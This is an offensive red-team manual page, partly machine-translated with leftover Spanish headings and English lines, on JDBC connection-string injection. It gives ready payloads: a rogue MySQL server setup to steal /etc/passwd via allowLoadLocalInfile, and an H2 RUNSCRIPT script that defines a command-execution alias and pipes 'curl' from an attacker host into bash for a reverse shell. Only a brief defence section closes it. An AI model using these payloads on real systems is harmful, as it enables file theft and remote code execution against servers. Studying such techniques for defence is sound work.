📕 MANUEL DE TERRAIN 17.1 : INJECTION DE CONNEXION JDBC (ATTAQUES SUR LE PILOTE)
Classification : RÉSERVÉ AUX YEUX DE L'ÉQUIPE ROUGE
Classification : RÉSERVÉ AUX YEUX DE L'ÉQUIPE ROUGE
Objectif : Compromettre le serveur web en attaquant le connecteur de la base de données (pilote JDBC) pour parvenir à une exécution de code à distance (RCE) ou à une lecture arbitraire de fichiers.
MITRE ATT&CK : T1190, T1210.
1. INTEL & RECON : LA TUBERIE EST L'ARME
Sección titulada «1. INTEL & RECON: LA TUBERÍA ES EL ARMA»Sometimes we don't control the SQL query, but we control the connection parameters (for example, in a configuration panel or via deserialization).
The connection string in Java looks like this:
jdbc:mysql://localhost:3306/db
The Vector: Many JDBC drivers have serious vulnerabilities if we can manipulate this string.
2. ARMEMENT : SERVEUR MYSQL FAUX (LECTURE DE FICHIERS)
Sección titulada «2. ARMAMENTISMO: SERVIDOR MYSQL FALSO (LECTURA DE ARCHIVOS)»Objective: MySQL/J connector (Java). Technique: If we can force the web server to connect to our fake MySQL server, we can ask it to send us any local file from its disk.
ÉTAPE 1 : Configuration du serveur factice
Sección titulada «PASO 1: Configuración del Servidor Falso»Nous utiliserons des outils comme Rogue-MySql-Server sur notre machine d'attaque.
- Configuration :
file_to_read = "/etc/passwd"
ÉTAPE 2 : L'injection JDBC
Sección titulada «PASO 2: La Inyección JDBC»Nous injecterons notre IP dans la chaîne de connexion de la victime.
- Payload :
jdbc:mysql://ATACANTE_IP:3306/db?allowLoadLocalInfile=true - Exécution :
- La victime se connecte à notre IP en pensant qu'il s'agit de sa base de données.
- Notre faux serveur salue et dit : « Pour vous authentifier, envoyez-moi le contenu de
/etc/passwd». - Le pilote MySQL (vulnérable) obéit et envoie le fichier.
- Butin : Nous avons le
/etc/passwdde la victime.
3. ARMEMENT : BASE DE DONNÉES H2 RCE
Sección titulada «3. ARMAMENTISMO: BASE DE DATOS H2 RCE»Objective: H2 database (Common in development and Spring Boot).
Technique: The H2 database allows executing system commands via RUNSCRIPT if we control the JDBC URL.
ÉTAPE 1 : Créer un script malveillant (init.sql)
Sección titulada «PASO 1: Crear Script Malicioso (init.sql)»CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }';CALL EXEC('curl [http://atacante.com/revshell](http://atacante.com/revshell) | bash');ÉTAPE 2 : L'injection JDBC (Déclencheur)
Sección titulada «PASO 2: La Inyección JDBC (Disparador)»Nous forcerons l'application à charger notre script lors de la connexion.
- Payload :
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://atacante.com/init.sql' - Résultat : Au moment où l'application tente de se connecter, nous téléchargerons notre SQL, créerons la fonction d'exécution de commandes et obtiendrons un reverse shell.
4. PERSPECTIVE DE L'ÉQUIPE PURPLE (DÉFENSE)
Sección titulada «4. PERSPECTIVA DEL EQUIPO PURPURA (DEFENSA)»- Défense : Nous ne permettrons jamais à l'utilisateur de contrôler la chaîne de connexion JDBC.
- Mitigation : Nous mettrons à jour les pilotes JDBC. Dans MySQL, nous définirons
allowLoadLocalInfile=falsepar défaut.

